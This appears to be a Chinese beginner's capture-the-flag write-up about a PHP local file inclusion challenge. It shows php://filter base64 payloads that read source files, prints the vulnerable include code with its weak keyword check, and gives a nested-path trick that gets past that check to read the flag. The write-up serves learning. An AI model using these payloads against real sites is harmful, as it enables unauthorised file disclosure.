本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,

你今天过得不好吗?今天事情不顺心吗?你情绪低落吗?选择一个选项,让可爱的图片让你高兴起来!
下面就是两个选项,分别对应狗和猫的图片,


看到url,可以发现是GET传入category参数,
使用filter伪协议查看index.php文件,
发现上面两个参数请求的文件都没有后缀名,我们也先不加后缀名试试,

1
?category=php://filter/convert.base64-encode/resource=index



base64解码,

看到我们需要的信息,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$file = $_GET['category'];

if(isset($file))
{ //strpos() 检查:要求 $file 必须包含 "woofers"、"meowers" 或 "index" 之一,否则拒绝执行。
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php'); //.php 自动拼接:include($file . '.php') 会在传入的参数后自动添加 .php 后缀,所以传入文件不需要后缀
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

PHP 伪协议的嵌套绕过

1
?category=php://filter/convert.base64-encode/index/resource=flag

PHP在处理php://filter时,会忽略无意义的路径部分(如index/),仅关注resource=指定的文件。


base64解码,

获得flag